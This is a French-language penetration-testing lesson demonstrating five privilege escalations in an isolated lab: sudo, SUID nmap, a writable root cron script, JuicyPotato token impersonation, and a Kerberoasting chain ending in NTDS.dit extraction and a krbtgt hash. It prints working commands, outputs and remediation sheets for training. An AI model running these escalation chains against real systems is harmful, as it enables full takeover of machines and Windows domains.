Aller au contenu principal

Élévation de privilèges — Démonstration guidée

Cinq élévations bout à bout. Trois sur Linux (Metasploitable 2), deux sur Windows (Metasploitable 3 + un petit AD lab). À chaque fois : le contexte, la commande, la preuve, le rapport.

Lab isolé

Toutes les VM sont sur le réseau host-only. Aucune commande ne quitte le lab.

Ce que vous saurez faire après cette leçon

  • Repérer et exploiter cinq chemins d'élévation différents.
  • Utiliser linpeas, winpeas, gtfobins, bloodhound proprement.
  • Casser un TGS Kerberos avec hashcat -m 13100.
  • Extraire les credentials en mémoire d'une machine Windows.
  • Rédiger un constat d'élévation utilisable en rapport.

Le décor

MachineRôleIP
KaliAttaquant10.10.10.5
Metasploitable 2 (Linux)Cible Linux, session msfadmin obtenue10.10.10.20
Metasploitable 3 WinCible Windows autonome, session vagrant obtenue10.10.10.12
DC AD labContrôleur de domaine acme.local10.10.10.100
WS01 AD labPoste Windows joint au domaine, session alice obtenue10.10.10.101

Le mini-AD lab, on le monte avec GOAD ou avec un simple Windows Server + Windows 10 client. On y reviendra au module 10.


Élévation 1 (Linux) — sudo vim en NOPASSWD

Vous avez un shell msfadmin sur Metasploitable 2. Question 1 :

sudo -l

Sortie :

User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL

Jackpot pédagogique : msfadmin a tous les droits sudo sans mot de passe. Pas besoin de vim :

sudo bash
whoami
# root

Fiche :

## Élévation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Compte de départ : msfadmin
- Compte final : root
- Chemin : sudo -l montre "NOPASSWD: ALL" → sudo bash
- Impact : compromission totale de la machine
- Recommandation : retirer la ligne sudoers, définir des commandes précises

Élévation 2 (Linux) — SUID sur nmap

Simulons un scénario plus subtil. Sur une autre VM, msfadmin n'a pas sudo. Il a un nmap SUID :

find / -perm -4000 -type f 2>/dev/null | head

Sortie :

/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd

/usr/bin/nmap SUID root est anormal. On consulte GTFOBins → sur d'anciennes versions nmap, le mode interactif :

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

Root via nmap. Fiche :

## Élévation 2 — SUID sur /usr/bin/nmap (mode interactif)
- Compte de départ : msfadmin
- Compte final : root
- Chemin : nmap --interactive → !sh → shell root
- Impact : compromission totale
- Recommandation : retirer le SUID (chmod u-s /usr/bin/nmap), utiliser capabilities
ciblées si nmap doit tourner sans privilèges

Élévation 3 (Linux) — Cron avec chemin relatif

Créons artificiellement un scénario. En tant que root sur la VM, une fois :

# En tant que root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- erreur volontaire

# Cron file
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup

En tant que msfadmin, on repère :

ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh

Le script est écrit par msfadmin, exécuté par root chaque minute. On l'exploite :

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

Attendre une minute :

sleep 65
/tmp/rootbash -p
whoami
# root

Fiche :

## Élévation 3 — Cron avec script inscriptible par utilisateur
- Compte de départ : msfadmin
- Compte final : root
- Chemin :
1. cat /etc/cron.d/backup → script exécuté par root
2. ls -la /usr/local/bin/backup.sh → possédé par msfadmin
3. Remplacement du script par un payload SUID
4. Après une minute : /tmp/rootbash -p → shell root
- Impact : compromission totale de la machine, avec persistance
- Recommandation : chown root:root pour tous les scripts en cron root

Élévation 4 (Windows) — WinPEAS et token impersonation

Sur Metasploitable 3 Windows, vous avez une session vagrant en Meterpreter :

meterpreter > getuid
Server username: METASPLOITABLE3\vagrant

meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

SeImpersonatePrivilege = on peut voler un token. C'est le compte d'un service ou d'un utilisateur historiquement mal configuré.

Utiliser PrintSpoofer ou JuicyPotato pour bascule SYSTEM :

meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant

C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system

[+] CreateProcessWithTokenW OK

Sur Windows 10/11 récents, on utilise PrintSpoofer ou RoguePotato selon la version.

Fiche :

## Élévation 4 — Token impersonation via SeImpersonatePrivilege
- Compte de départ : METASPLOITABLE3\vagrant
- Compte final : NT AUTHORITY\SYSTEM
- Chemin :
1. getprivs révèle SeImpersonatePrivilege
2. Exploitation avec JuicyPotato/PrintSpoofer
3. Shell SYSTEM
- Impact : contrôle total du système, extraction de hashes possible
- Recommandation : minimiser les comptes de service avec SeImpersonate,
surveiller les créations de token via WMI

Élévation 5 (AD) — Kerberoasting bout à bout

Vous avez la session alice sur WS01, machine jointe au domaine acme.local. Objectif : passer à Domain Admin.

5a. Lister les SPN

Depuis Kali, avec Impacket :

impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt

Sortie :

ServicePrincipalName        Name        MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local

[*] Tickets writtes to preuves/tgs-tickets.txt

Deux comptes de service avec SPN. Deux tickets Kerberos récupérés.

Extrait du fichier :

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...

5b. Cassage hashcat

hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

Après quelques minutes :

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!

Le mot de passe du compte de service SQL en 3 minutes.

5c. Bascule

Avec le mot de passe, on se connecte :

impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local

Shell SYSTEM sur sqlserver.acme.local.

Sur ce serveur, Meterpreter → BloodHound collector → on voit :

  • svc_sql est membre de Backup Operators.
  • Backup Operators peut lire n'importe quel fichier système, y compris NTDS.dit sur le DC.

Chemin final :

# Depuis SQL server, on utilise ntdsutil pour copier NTDS.dit :
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q

# On rapatrie via SMB, on extrait avec impacket-secretsdump :
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

Sortie :

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::

Le hash de krbtgt = capacité à forger un Golden Ticket = accès permanent au domaine.

5d. Fiche

## Élévation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Compte de départ : ACME\alice (utilisateur standard)
- Compte final : Full compromise (hash de krbtgt)
- Chemin :
1. impacket-GetUserSPNs → 2 comptes de service avec SPN
2. hashcat -m 13100 → mot de passe svc_sql cracké
3. psexec sur SQL server → SYSTEM local
4. BloodHound révèle svc_sql ∈ Backup Operators
5. ntdsutil IFM sur DC → NTDS.dit + SYSTEM hive
6. secretsdump → hash de krbtgt extrait
- Impact : compromission complète du domaine, Golden Ticket possible
- Recommandations :
1. Mot de passe de svc_sql > 25 caractères (résiste au cassage)
2. Retirer svc_sql du groupe Backup Operators
3. Auditer tous les comptes avec SPN, allonger leurs mots de passe
4. Passer à des MSA (Managed Service Accounts) qui rotent automatiquement

Étape 6 — BloodHound en support

BloodHound rend visible les chemins comme celui du 5. Depuis Kali :

# Collecteur depuis WS01 avec les creds de alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound

# Import dans Neo4j
neo4j start
bloodhound
# Drag & drop les .json dans l'interface

Requête pré-faite : Shortest Paths to Domain Admins from Owned.

On voit le chemin alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin en un graphe. C'est ça qu'on montre au client. Beaucoup plus fort qu'une liste de commandes.


Étape 7 — Le tableau récapitulatif

| # | Cible          | Départ    | Arrivée    | Chemin                           | Preuve                     |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID sur nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron script inscriptible | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |

Bilan

En 90 minutes :

  • Cinq élévations différentes, cinq cheminements différents.
  • Cinq preuves dans un dossier.
  • Un graph BloodHound qui rend la découverte AD visuelle.
  • Un hash krbtgt — de quoi survivre à toutes les remédiations partielles.

Ceci est ce qu'un client paie. Pas les scans. Pas les CVE. Les chemins.

Prochaine leçon : à vous. Trois élévations, trois cheminements, trois fiches.